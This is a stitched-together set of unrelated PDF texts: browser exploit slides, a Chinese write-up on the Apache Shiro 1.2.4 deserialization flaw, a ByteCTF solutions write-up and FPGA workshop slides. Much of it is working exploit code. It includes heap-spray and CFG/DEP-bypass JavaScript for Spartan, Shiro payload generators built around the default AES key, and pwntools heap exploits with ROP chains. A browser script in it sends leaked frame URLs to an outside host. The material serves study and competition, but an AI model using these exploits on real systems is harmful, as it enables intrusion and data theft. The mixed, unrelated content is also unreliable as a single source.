2、Memory Protection • 3、Spartan Memory Manage • 4、CFG • 5、Exploit Bypass All • 6、0day • 7、Q&A CFG mov eax, [edi] mov esi, [eax+0A4h] ; esi = virtual function mov ecx, esi call ds:___guard_check_icall_fptr //ntdll!LdrpValidateUserCallTarget mov ecx, edi call esi mov eax, [edi] call dword ptr [eax+0A4h] CFG bitmap index offset : data [0x0077b960] 0x01dee58c : 0x55555555 [0x0077b964] 0x01dee590 : 0x30010555 [0x0077b968] 0x01dee594 : 0x04541041 … function address : 0x77b96450 0x77b96450 : [01110111 10111001 01100100 01010000] bt : 0x30010555&0x400 != 0 01010 = 0x0a = 10 00000100 00000000 = 0x400 CFG • bypass CFG CFG • bypass CFG CFG • bypass CFG CFG • bypass CFG 0:024> g Breakpoint 0 hit eax=603ba064 ebx=063fba10 ecx=063fba40 edx=063fba40 esi=00000001 edi=058fc6b0 eip=603ba064 esp=058fc414 ebp=058fc454 iopl=0 nv up ei ng nz na po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000283 chakra!`dynamic initializer for 'DOMFastPathInfo::getterTable''+0x734: 603ba064 94 xchg eax,esp 603ba065 c3 ret write_dword(addr,chakra_base_addr+0x002AA064); //set rop address Spartan 0day & Exploit • 1、Isolation Heap • 2、Memory Protection • 3、Spartan Memory Manage • 4、CFG • 5、Exploit Bypass All • 6、0day • 7、Q&A Exploit Bypass All • 1、HeapSpray • 2、memory read/write • 3、bypass ASLR • 4、bypass CFG • 5、bypass DEP • 6、exec ShellCode Exploit Bypass All • 1、HeapSpray function heap_spary(num) { array_1 = new Array(); array_1_size = 0x1000 * num; for(var i=0; i<array_1_size; i++) { array_1[i] = [0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c, 0x0c0c0c0c]; } } Exploit Bypass All • 1、HeapSpray 0:024> dd 11110000 11110000 562853c4 063b75c0 00000000 00010005 11110010 00000033 00000000 11110024 11110024 11110020 05a25ae0 00000000 00000033 00000033 11110030 00000000 0c0c0c0c 0c0c0c0c 0c0c0c0c 11110040 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 11110050 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 11110060 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 11110070 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c Exploit Bypass All • 1、HeapSpray • 2、Memory read/write • 3、Bypass ASLR • 4、Bypass CFG • 5、Bypass DEP • 6、Exec ShellCode Exploit Bypass All • 1、Memory read/write 0:024> dd 11110100 562853c4 063b75c0 00000000 00010005 11110110 7fffffff 00000000 11110124 11110124 11110120 05a25ae0 00000000 7fffffff 7fffffff 11110130 00000000 0c0c0c0c 0c0c0c0c 0c0c0c0c 11110140 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 11110150 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 11110160 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 11110170 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c Exploit Bypass All • 1、Memory read/write Exploit Bypass All • 1、HeapSpray • 2、Memory read/write • 3、Bypass ASLR • 4、Bypass CFG • 5、Bypass DEP • 6、Exec ShellCode Exploit Bypass All • Bypass ASLR var array_vft_address = read_dword(0x11110200); var chakra_base_addr = array_vft_address - 0x000653c4; Exploit Bypass All • 1、HeapSpray • 2、Memory read/write • 3、Bypass ASLR • 4、Bypass CFG • 5、Bypass DEP • 6、Exec ShellCode Exploit Bypass All • Bypass CFG Exploit Bypass All • 1、HeapSpray • 2、Memory read/write • 3、Bypass ASLR • 4、Bypass CFG • 5、Bypass DEP • 6、Exec ShellCode Exploit Bypass All • Bypass DEP void __thiscall Memory::SmallHeapBlockT::ClearPageHeapState { int flOldProtect = 0; if(this->address) VirtualProtect(this->address,0x1000,this->protect,&flOldProtect); } struct Memory::SmallHeapBlockT { +0x14 DWORD protect; +0x18 void *address; } Exploit Bypass All • bypass DEP //bypass CFG //ecx = [object+0x04] Exploit Bypass All • bypass DEP write_dword(old_ecx_struct+0x18,shell_code_address); write_dword(old_ecx_struct+0x14,0x40); //read+write+execute Exploit Bypass All • bypass DEP 0:025> u poi(0618b150) chakra!Js::LiteralString::`vftable': 0:025> !address poi(0618b150+8) Usage: <unknown> Base Address: 08450000 End Address: 08451000 Region Size: 00001000 ( 4.000 kB) State: 00001000 MEM_COMMIT Protect: 00000040 PAGE_EXECUTE_READWRITE Type: 00020000 MEM_PRIVATE Allocation Base: 08450000 Allocation Protect: 00000004 PAGE_READWRITE Exploit Bypass All • 1、HeapSpray • 2、Memory read/write • 3、Bypass ASLR • 4、Bypass CFG • 5、Bypass DEP • 6、Exec ShellCode Exploit Bypass All • Exec ShellCode write_dword(test2_function_addr,shell_code_address); Exploit Bypass All • Exec ShellCode Spartan 0day & Exploit • 1、Isolation Heap • 2、Memory Protection • 3、Spartan Memory Manage • 4、CFG • 5、Exploit Bypass All • 6、0day • 7、Q&A 0day • Bypass MemoryProtection & Isolation Heap 0:008> r eax=00000000 ebx=05689bc8 ecx=056c5f98 edx=00000001 esi=056c5f98 edi=00000000 eip=674887ac esp=054d9af4 ebp=054d9af4 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 674887ac 8b5124 mov edx,dword ptr [ecx+24h] ds:0023:056c5fbc=???????? 0day • Bypass MemoryProtection & Isolation Heap 1:020> r eax=00000001 ebx=05158500 ecx=00000005 edx=04444420 esi=097c7810 edi=00000005 eip=61aaa535 esp=0582940c ebp=05829414 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 61aaa535 8b5624 mov edx,dword ptr [esi+24h] ds:0023:097c7834=111111ff 1:020> dd esi 09df3880 0000000d 11111111 11111111 11111111 09df3890 11111111 11111111 11111111 11111111 09df38a0 11111111 111111ff 11111111 11111111 09df38b0 11110036 11111111 11111111 11111111 0day • Bypass check next object … … void * p_object1 void * p_object2 … … uaf object … … 0x30 : p_object … … object address? 0day • Bypass check next object … … void * p_object1 void * p_object2 … … uaf object … … 0x30 : p_object … … next object … … void * p_object1 void * p_object2 … … next object … … void * p_object1 void * p_object2 … … 0day • Bypass check uaf object … … 0x30 : p_object … … 0day Spartan 0day & Exploit • 1、Isolation Heap • 2、Memory Protection • 3、Spartan Memory Manage • 4、CFG • 5、Exploit Bypass All • 6、0day • 7、Q&A Spartan 0day & Exploit Q&A Spartan 0day & Exploit Thanks! • Twitter & Weibo : @exp-sky • Blog : http://exp-sky.org • Email : exploitsky@gmail.com
pdf
S-shiro550 前言 环境搭建 1. 参考文章: Shiro 反序列化记录 Shiro RememberMe 1.2.4 反序列化导致的命令执行漏洞 2. 远程调试: tomcat 启动修改,新建 debug.bat 文件,内容如下。 IDEA 配置远程 Tomcat 服务器。 set JPDA_ADDRESS=8000 set JPDA_TRANSPORT=dt_socket set CATALINA_OPTS=-server -Xdebug -Xnoagent -Djava.compiler=NONE - Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8000 startup 基本流程跟踪 1. 登录功能触发点: org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin 2. 触发时堆栈情况: 3. 踩坑 此处需要配置 RememberMeManager ,不然此处为空无法进入 onSuccessfulLogin 方法,之前一 直尝试不使用 web 进行配置,失败了。。。。 需要勾选 rememberMe 字段,也就是 this.isRememberMe(token) 不为空 加密过程跟踪调试 1. 通过上面的 onSuccessfulLogin 方法之后,如果 isRememberMe 不为空,则进入到 rememberIdentity 方法当中。 2. 进入该函数之后获取一个 principals 属性,该属性实际是登录时传递的用户名 root ,之后再进 入到 rememberIndentity 方法当中。 3. 在 rememberIdentity 方法中,首先调用 convertPrincipalsToBytes 方法,将 principals 进 行处理,处理第一步是进行序列化,也就是 serialize 方法,这个方法最终调用的是 org.apache.shiro.io.DefaultSerializer.class#serialze 方法 4. 在完成序列化之后会再返回 convertPrincipalsToBytes 方法,对字节数组调用 encrypt 方法进 行加密。 AbstractRememberMeManager.class#encrypt 5. 在 encrypt 方法中,首先是获取加密服务,而这个加密服务是一个 AES 加密算法,之后首先通过 getEncryptionCipherKey 方法获取加密密钥,然后进入 encrypt 方法。 6. 在 JcaCipherService.class 中,最终调用本类的 encrypt 方法进行加密,最后返回结果。 7. 然后返回结果,再次回到 rememberIdentity 方法中,进入 rememberSerializedIdentity 方 法,该方法的具体实现类是 CookieRememberMeManager.class#rememberSerializedIdentity 8. 这个方法的主要作用是对 AES 加密后的数据进行 base64 编码,然后返回存入 cookie 当中。 解密过程跟踪调试 1. 首先在加密过程中调用的 AbstractRememberMeManager.class 类中找到 decrypt 方法,这个也 是解密调用的函数。下断点查看堆栈的调用情况。 2. 当我们发起请求访问时,会根据是否存在 rememberMe 字段进行一系列的判断。如果请求中存在 rememberMe 字段,则会对传递的这个 cookie 值进行获取,解密等一系列操作。具体的实现体现 在 AbstractRememberMeManager.class#getRememberedPrincipals 方法中,通过这个方法去判 断是否存在 rememberMe 字段,并且从 cookie 中获取该字段值。 3. 具体跟进,查看详情。在第86行获取到请求中的 rememberMe 字段值,然后进行 base64 解码后返 回。返回上一步后的 bytes 数组不为空直接进行下一步的解密处理,否则直接返回空。 4. 此处 bytes 数组不为空,进入 convertBytesToPrincipals 函数,跟踪进入。在第137行进入解 密过程,解密完成后返回结果。 5. 但此时,我们的数据是错误的,使用密钥无法解密,则会产生一个报错,进入到 AbstractRememberMeManager.class#getRememberedPrincipals 方法的 catch 当中。也就是 onRememberedPrincipalFailure 函数。这个函数经过一系列的函数调用,最后会在响应头中返 回 rememberMe=deleteMe 的 set-cookie 属性。 6. 在之前登录过程中,如果登录成功,且勾选 rememberMe 之后会返回一个正常的序列化数据流,我 们使用这个流来进行后续密码正确的过程追踪。 7. 承接上回的解密过程,当解密成功之后,返回数据,之后进入到反序列化过程。 8. 跟进反序列化的方法,查看到反序列化的类应该是 org.apache.shiro.subject.SimplePrincipalCollection ,与序列化的过程也是吻合的。 9. 此处有一个点, return 返回后的序列化流有一个强制类型转换,变成 PrincipalCollection 类 型,转换出错则抛出异常。 10. 到此已经追踪到反序列化的过程了,在此处将反序列化的流换成 payload 的序列化流,就可以触发 反序列化漏洞。 攻击实验 密钥爆破 通过实现shiro的反序列化原理流程,进行密钥爆破 构造链尝试 这里有一点就是我们在进行密钥爆破时因为要通过响应字段是否包含 deleteMe 来判断密钥是否爆 破成功,所以我们序列化的对象必须是 SimplePrincipalCollection ,否则在反序列化之后的 强制类型转换会爆出异常,导致响应字段包含 deleteMe 。但是在进行构造链时不需要考虑这个问 题,因为是先进行的反序列化,此时构造链已经执行完毕,即使后面再爆出异常也不会造成影响。 cc6构造链 package com.shiro; import org.apache.shiro.codec.Base64; import org.apache.shiro.crypto.AesCipherService; import org.apache.shiro.crypto.CipherService; import org.apache.shiro.subject.SimplePrincipalCollection; import org.apache.shiro.util.ByteSource; import javax.xml.bind.DatatypeConverter; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.util.HashMap; public class encrypt_ {    private static final byte[]  encryptKey=DatatypeConverter.parseBase64Binary("kPH+bIxk5D2deZiIxcaaaA==");    private static CipherService cipherService = new AesCipherService();    public static void main(String[] args) throws Exception {        SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();        ByteArrayOutputStream var1 = new ByteArrayOutputStream();        ObjectOutputStream var2 = new ObjectOutputStream(var1);        var2.writeObject(simplePrincipalCollection);        ByteSource encrypt = cipherService.encrypt(var1.toByteArray(), encryptKey);        System.out.println(new String(var1.toByteArray()));        String s = encrypt.toBase64();        System.out.println(s);        //decrypt_();   } } public class CommonsCollections6 {    public static byte[] getPayload(String command) throws Exception {        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};        Transformer[] transformers = new Transformer[] {                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod", new Class[] { String.class,                        Class[].class }, new Object[] { "getRuntime",                        new Class[0] }),                new InvokerTransformer("invoke", new Class[] { Object.class, 加密构造链,生成最终的payload                        Object[].class }, new Object[] { null, new Object[0] }),                new InvokerTransformer("exec", new Class[] { String.class },                        new String[] { command }),                new ConstantTransformer(1),       };        Transformer transformerChain = new ChainedTransformer(fakeTransformers);        // 不再使用原CommonsCollections6中的HashSet,直接使用HashMap        Map innerMap = new HashMap();        Map outerMap = LazyMap.decorate(innerMap, transformerChain);        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");        Map expMap = new HashMap();        expMap.put(tme, "valuevalue");        outerMap.remove("keykey");        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");        f.setAccessible(true);        f.set(transformerChain, transformers);        ByteArrayOutputStream barr = new ByteArrayOutputStream();        ObjectOutputStream oos = new ObjectOutputStream(barr);        oos.writeObject(expMap);        oos.close(); //       ByteArrayInputStream arrayInputStream = new ByteArrayInputStream(barr.toByteArray()); //       ObjectInputStream objectInputStream = new ObjectInputStream(arrayInputStream); //       objectInputStream.readObject();        return barr.toByteArray();   } //   public static void main(String[] args) throws Exception { //       getPayload("calc.exe"); //   } } public class encrypt_ {    private static final byte[]  encryptKey=Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");    private static CipherService cipherService = new AesCipherService();    public static void main(String[] args) throws Exception {        byte[] payloads=CommonsCollections6.getPayload("calc.exe");        ByteSource encrypt = cipherService.encrypt(payloads, encryptKey);        System.out.println(new String(payloads));        String s = encrypt.toBase64();        System.out.println(s);        //decrypt_();   } } 发送payload,出现报错信息。 找到报错信息的位置, ClassResolvingObjectInputStream 这个类是 ObjectInputStream 的子类,重写了 resolveClass 方法。 resolveClass 是反序列化 中用来查找类的方法,简单来说,读取序列化流的时候,读到一个字符串形式的类名,需要通过这 个方法来找到对应的 java.lang.Class 对象。对比一下父类的 resolveClass 方法。 区别就再获取类对象的方式上面,重写之后,获取类对象使用的 ClassUtils.forName 方法,调 用链 ClassUtils.forName -> THREAD_CL_ACCESSOR.loadClass(fqcn) - > ClassUtils.ExceptionIgnoringAccessor#loadClass -> this.getClassLoader()- >loadClass ,它获取了当前的类加载器,而当前类加载器应该是 org.apache.catalina.loader.ParallelWebappClassLoader#loadClass ,而不是原生的 Class.forName . 进一步查看报错信息 通过 tomcat 日志,进一步查看报错的日志信息,发现这个错误 [org.apache.shiro.util.ClassUtils]: Unable to load clazz named [[Lorg.apache.commons.collections.Transformer;] from class loader [ParallelWebappClassLoader 。参考文章:强网杯“Shiro 1.2.4(SHIRO-550)漏洞之发散性思考 Shiro-1.2.4-RememberMe 反序列化踩坑深入分析 最后的结论就是:如果反序列化流中包含非 Java自身的数组,则会出现无法加载类的错误。这就解释了为什么 CommonsCollections6 无法利 用了,因为其中用到了 Transformer 数组。 构造不包含数组的payload 在之前CC6的适应 TemplatesImpl 改造中已经实现了不含 Transformer 数组的功能,因此我们只 需将之前适应性改造的任意代码换成我们想执行的代码,然后重造payload既可。 编写执行代码的 class 文件,然后转换为字节码 public static byte[] fileToByte() throws IOException {  //文件转字节        File file = new File("E:\\ysoserial\\src\\main\\java\\TemplatesImpl_\\RumCmd.class");        FileInputStream inputStream = new FileInputStream(file);        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();        byte[] bytes = new byte[1024];        int n;        while ((n=inputStream.read(bytes))!=-1){            byteArrayOutputStream.write(bytes,0,n);       } 新的CC6代码        inputStream.close();        byteArrayOutputStream.close();        return byteArrayOutputStream.toByteArray();   } package com.shiro; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class CommonsCollections6 {    public static byte[] getPayload(String command) throws Exception {        byte[] codeRunCmd = TemplatesImpl_.fileToByte();        TemplatesImpl templates = new TemplatesImpl();        TemplatesImpl_.setFieldValue(templates,"_name","RunCmd");        TemplatesImpl_.setFieldValue(templates,"_bytecodes",new byte[][] {codeRunCmd});        TemplatesImpl_.setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});        HashMap innerMap_ = new HashMap();        Map outerMap_ = LazyMap.decorate(innerMap_, instantiateTransformer);        TiedMapEntry tiedMapEntry_ = new TiedMapEntry(innerMap_, TrAXFilter.class);        HashMap inmap_ = new HashMap();        inmap_.put(tiedMapEntry_,"key1");        Field map = tiedMapEntry_.getClass().getDeclaredField("map");        map.setAccessible(true);        map.set(tiedMapEntry_,outerMap_);        ByteArrayOutputStream barr = new ByteArrayOutputStream();        ObjectOutputStream oos = new ObjectOutputStream(barr);        oos.writeObject(inmap_);        oos.close();        return barr.toByteArray();   } } 发送payload之后成功弹出计算器
pdf
ByteCTF WriteUp by Nu1L Author: Nu1L ByteCTF WriteUp by Nu1L PWN easyheap gun Misc Double Game PT Site survey checkin WEB douyin_video jvav Reverse QIAO DaShen Decode AES CrackMe PWN easyheap from pwn import * # s = process("./easyheap",env={'LD_PRELOAD':"./libc-2.31.so"}) # s = process("./easyheap") s = remote("123.56.96.75","30774") libc = ELF("./libc-2.31.so") context.terminal = ['notiterm', '-t', 'iterm', '-e'] def add(size1,size2,buf): s.sendlineafter(">>","1") s.sendlineafter("Size: ",str(size1)) if size1 <= 0 or size1 > 128: s.recvuntil("Invalid size.") s.sendlineafter("Size: ",str(size2)) s.sendafter("Content: ",buf) def show(idx): s.sendlineafter(">>","2") s.sendlineafter("Index: ",str(idx)) def free(idx): s.sendlineafter(">>","3") s.sendlineafter("Index: ",str(idx)) for i in range(8): add(0x10,0x10,'A\n') for i in range(8): free(i) add(0x50,0x20,'A\n')#0 s.sendlineafter(">>","1"*0x500) for i in range(7): add(0x10,0x10,'A\n') free(0) add(0x90,1,'a')#0 show(0) s.recvuntil("Content: ") tmp = u64(s.recv(6)+"\x00"*2)-0x1ebb61 success(hex(tmp)) libc.address = tmp free_hook = libc.sym['__free_hook'] system = libc.sym['system'] for i in range(8): free(i) add(0x20,0x30,p64(free_hook)+"\n")#0 add(0x30,0x30,p64(free_hook)+"\n")#1 add(0x30,0x30,p64(free_hook)+"\n")#2 add(0x30,0x30,p64(free_hook)+"\n")#3 add(0x30,0x30,p64(free_hook)+"\n")#4 free(1) free(2) free(3) free(4) add(0x231,0x10,'a\n')#1 add(0x30,0x30,'a\n')#2 add(0x30,0x30,'/bin/sh\x00\n')#3 # gdb.attach(s,"b *$rebase(0x12ae)\nc") add(0x30,0x30,p64(system)+"\n")#4 free(0) s.interactive() gun from pwn import * r = remote('123.57.209.176', 30772) # r = process("./gun",env={'LD_PRELOAD':'./libc-2.31.so'}) context(arch='amd64', os='linux') libc = ELF('./libc-2.31.so') # libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') def launch_gdb(): context.terminal = ['gnome-terminal', '--'] # gdb.attach(proc.pidof(p)) print("gnome-terminal -- gdb attach " + str(proc.pidof(r)[0])) os.system("gnome-terminal -- gdb -q ./gun " + str(proc.pidof(r)[0])) menu = "Action> " def add(size, content): r.recvuntil(menu) r.sendline('3') r.recvuntil("Bullet price: ") r.sendline(str(size)) r.recvuntil("Bullet Name: ") r.send(content) def delete(index): r.recvuntil(menu) r.sendline('1') r.recvuntil("Shoot time: ") r.sendline(str(index)) def load(index): r.recvuntil(menu) r.sendline('2') r.recvuntil("Which one do you want to load?") r.sendline(str(index)) # launch_gdb() r.recvuntil("Your name: ") r.send('pzhxbz\n') add(0x410, 'aaa\n') add(0x30, 'aaa\n') load(1) load(0) delete(1) add(0x30, '\n') load(0) delete(1) r.recvuntil("Pwn! The ") malloc_hook = u64(r.recvuntil(b'\x7f').ljust(8, b'\x00')) - 1104 - 0x10 libc.address = malloc_hook - libc.sym['__malloc_hook'] success("libc:"+hex(libc.address)) for i in range(10): add(0x30,'aaa\n') load(i+1) for i in range(10): delete(1) load(0) add(0x30,'aaa\n') add(0x30,'aaa\n') load(1) load(0) for i in range(7): add(0x30,'a\n') load(i+2) delete(10) r.recvuntil('Pwn! The ') leak_heap = u64(r.recv(6).ljust(8, b'\x00')) success("heap:"+hex(leak_heap)) heap_base = leak_heap - 865 for i in range(7): add(0x30,'aaa\n') # load(0) add(0x30,p64(libc.symbols['__free_hook']) + b'\n') load(8) delete(1) for i in range(7): load(i) delete(6) for i in range(6): add(0x30,p64(libc.symbols['__free_hook']) + b'\n') add(0x30,p64(libc.address + 0x000000000154930) + b'\n') # add(0x30,p64(0xdeadbeef) + b'\n') Misc chunk_addr = heap_base + 1840 ''' .text:0000000000154930 mov rdx, [rdi+8] .text:0000000000154934 mov [rsp+0C8h+var_C8], rax .text:0000000000154938 call qword ptr [rdx+20h] ''' payload = p64(0) + p64(chunk_addr) + p64(0)*2 + p64(libc.symbols['setcontext'] + 0x3d) payload = payload.ljust(0x68,b'\x00') payload += p64(chunk_addr + 0x100 - 0x10) + p64(0) + p64(0) * 2 + p64(0) * 2 payload = payload.ljust(0xa0,b'\x00') payload += p64(chunk_addr + 0x200) + p64(libc.symbols['open']) payload = payload.ljust(0xf0,b'\x00') payload += b'flag\x00'.ljust(0x10,b'\x00') payload += b'\x00' * 0x100 # rop_start ''' 0x000000000004a550 : pop rax ; ret 0x0000000000027529 : pop rsi ; ret 0x0000000000026b72 : pop rdi ; ret 0x00000000001056fd : pop rdx ; pop rcx ; pop rbx ; ret ''' payload += p64(0x0000000000026b72 + libc.address) + p64(3) payload += p64(0x0000000000027529 + libc.address) + p64(heap_base) payload += p64(0x00000000001056fd + libc.address) + p64(0x100) + p64(0) * 2 payload += p64(libc.symbols['read']) payload += p64(0x0000000000026b72 + libc.address) + p64(1) payload += p64(0x0000000000027529 + libc.address) + p64(heap_base) payload += p64(0x00000000001056fd + libc.address) + p64(0x100) + p64(0) * 2 payload += p64(libc.symbols['write']) add(0x400, payload + b'\n') load(8) # input() delete(1) r.interactive() Double Game seed_time Seed_timeseed_time #!/usr/bin/python3 import curses import random, math, time, json import game import socket SERVER_IP = "182.92.4.49" SERVER_PORT = 30888 seed_time = math.floor(time.time())+400 def main(screen): screen.timeout(0) screen.nodelay(False) answer = [] while True: my_game.render(screen) screen.refresh() ch = screen.getch() if ch == curses.KEY_LEFT or ch == curses.KEY_RIGHT or ch == curses.KEY_UP or ch == curses.KEY_DOWN: my_game.submit(ch) answer.append(ch) if my_game.is_win(): my_game.render(screen) while True: seed_time0 = math.floor(time.time()) if seed_time0 > seed_time: print(seed_time0-seed_time) else: print(seed_time0-seed_time) time.sleep(1) continue s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((SERVER_IP, SERVER_PORT)) PT Site CRC46144 s.send(json.dumps({"time":seed_time, "answer":answer}).encode('ascii')) return s.recv(1024).decode('ascii') if my_game.is_over(): s.close() return "Game over. Try again?" my_game.render(screen) screen.getch() if __name__ == '__main__': local_random = random.Random(seed_time) my_game = game.Game(local_random) print(curses.wrapper(main)) 888888PT 202010250000 ByteCTF Secret PT Server github https://github.com/winterssy/bdpass/blob/master/encoder/encoder.go flag BBD6FC7CC3A6E0F3B7260B2CDB24717B#195249CBF77F5BC45894BB4062B3427D#117910925#The .Byte.Flag.First.Part.2020.HD.1080P.x264.mp4 eliteelite120G1.55 survey checkin WEB douyin_video document.domain = "bytectf.live"; function cb(win) { location.href = "http://bytectf.d7cb7b72.y7z.xyz/" + btoa(win.frames[0].location.href); win.close() } function test() { url = "http://a.bytectf.live:30001/?keyword=ByteCTF{"; console.log(url); win = window.open(url); setTimeout(cb.bind(null, win), 3000); } jvav weblogic CVE-2020-14644 Reverse QIAO [rbp-34h] , ,, ByteCTF{7fa392e666d78abbb655165528fff33f} test(); 0x7F, 0xA3, 0x92, 0xE6, 0x66, 0xD7, 0x8A, 0xBB, 0xB6, 0x55, 0x16, 0x55, 0x28, 0xFF, 0xF3, 0x3F DaShen Decode AES JEB ba.d ba.bkeyiv CrackMe 32,,sosha256,flag #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <openssl/aes.h> #include "sha256.h" unsigned char in[0x20] = {45, 24, 106, 62, 23, 42, 20, 103, 55, 137, 244, 153, 205, 108, 251, 205, 41, 182, 199, 63, 75, 74, 39, 194, 52, 100, 119, 104, 37, 175, 144, 178}; unsigned char out[0x20] = {0}; unsigned int length = 0x20; unsigned char _sha256[0x20] = {0}; void dec() { AES_KEY key; AES_set_decrypt_key(&_sha256[0],128,&key); AES_cbc_encrypt(in, out,length, &key, &_sha256[0x10], AES_DECRYPT); } void dump(unsigned char * ptr) { int i; for(i = 0;i < 32;i++) printf("%02X ",ptr[i]); sha256, puts(""); } unsigned int i1,i2,i3,i4; unsigned char tmp[5] = {0}; int main() { for(i1 = 33;i1 < 127;i1++){ printf("%d\n",i1); for(i2 = 33;i2 < 127;i2++) for(i3 = 33;i3 < 127;i3++) for(i4 = 33;i4 < 127;i4++) { tmp[0] = i1; tmp[1] = i2; tmp[2] = i3; tmp[3] = i4; //printf("%s\n",(char *)tmp); sha256(tmp,4,_sha256); //dump(_sha256); dec(); if(out[0] == 66 && out[1] == 121 && out[2] == 116&& out[3] == 101) { printf("%s\n",(char *)out); exit(0); } }} return 0; } uint64_t bits_len = 0x100; for (int i = 0; i < 8; i++) { buf[len + append + i] = (bits_len >> ((7 - i) * 8)) & 0xff; }
pdf
Hardware Black Magic: Building devices with FPGAs Dr. Fouad Kiamilev, Professor CVORG Labs Electrical and Computer Engineering University of Delaware http://cvorg.ece.udel.edu Updated Slides and Video Updated slides as well as video tutorials will be available after the conference on our website at http://www.cvorg.ece.udel.edu Also during our talk, to keep things interesting during compilation we will be giving away swag in an attempt to keep you interested. See the slides towards the end for details. What is CVORG? From “Dela-where?” Operate like a Pirate Ship, sailing where our curious minds take us! Interests in reverse engineering, custom hardware, red-teaming, security (especially hardware), networking, high speed communications, you name it, we love doing it! The Jack-of-all trades research group! What are FPGAs Field-programmable gate arrays contains logic blocks that can reconfigured This allows a FPGA to be any moderately complex embedded device FPGA design tools cover the entire range of hardware and software design. For example, in the Xilinx world the ISE is mainly where you write HDL and the EDK is where you can write C. Hardware While it can be scary, it should be embraced and not avoided For every software, there is hardware behind it Why spend hours hacking firmware to do what you want - make a device do it for you! Embedded Design Physical Layout and Interconnects Functional Hardware Units Interconnects and controllers Operating System Software Choices for Digital System Development Processor? Easy to write code, expensive chips, ok performance, power hungry Gate Array (ASIC)? Very high performance, low power, very hard to design, expensive to manufacture Field-Programmable Gate Array? no manufacturing needed (just program), easier to design than ASIC, high performance, lower power What uses FPGAs? Set-Top Boxes Printers Networking Equipment Large Integrated Systems FPGA’s Advantage: Application specific speed 802.11 key cracking PC jc-wepcrack 1.25 GHz G4 150,000/sec 3.6 GHz P4 300,000/sec PS3 cbe-client 1 SPU 3.2 GHz 241,000/sec 6 SPU 3.2 GHz 1,446,000/sec FPGA pico-wepcrack 1 Virtex-4 LX-25 12,000,000/sec PC wpa-crack 800 MHz P3 25/sec 3.6 GHz P4 60/sec 2.16 GHz Intel Duo 70/sec FPGA coWPAtty 1 Virtex-4 LX-20 380/sec 1 Virtex-4 LX-25 430/sec 1 Virtex-4 LX-60 1000/sec Data from Shmoocon 3 presentation: OpenCiphers by H1kari Steps in FPGA design From idea to operation Designing Logic Design Entry Schematic or HDL source code Design Entry Tools Internal Logic Analyzer State Diagram Embedded Processor Simulation Test Bench VHDL, Verilog and waveform Synthesis aka compiling your hardware Synthesis Check syntax View a schematics Generate post-synthesis simulation model Netlist Define how your logic blocks connect Internal signal vs external I/O Implementing Designs Implement a design Translate Floorplan design Map Access reports Analyze timing Manually place components Generate simulation model Place & Route Utilization reports Analyze timing Check I/O standards Manually place & route components Post-Mapping simulation results. Note the clock-to-state propagation delay of 1.2ns. Post-Place and Route simulation results. Note the clock-to-state propagation delay of 4ns. Configuring your FPGA Ways to program an FPGA JTAG USB SPI Flash SPI PROM When is a FPGA programmed On boot On demand Digilent JTAG programmer -- cheap programmer that works great The Next ~2.5 Hours Explain Xilinx and Altera software Lots of acronyms Show step-by-step demos Writing simple VHDL Writing C code for a processor written in HDL Creating high speed interconnects between your functional units How far can the demo boards take you Some are less then $100 dollars Another has a touch screen LCD and 5 Megapixel camera Free stuff will be given away while we are compiling FPGA Design Kits and other hardware Lots corporate swag A netbook Thanks! Digilent Takes FPGAs and makes useful things from them. They make our favorite demo board called the Spartan-3E. Along with cool add-on modules. Altera and Xilinx The two major FPGA hardware/software manufacturers and other programable logic devices. Intel Provided lots of toys to give away! Uses FGPAs for design and testing of CPUs. How do you think they get it right one the “first” try! Dr. David Sincoskie, Professor, Director, Center on Information and Communications Sciences @ UD Donated funds to help make this trip and presentation possible! If your in the education field, approach these companies to get support to teach FPGAs to your students
pdf
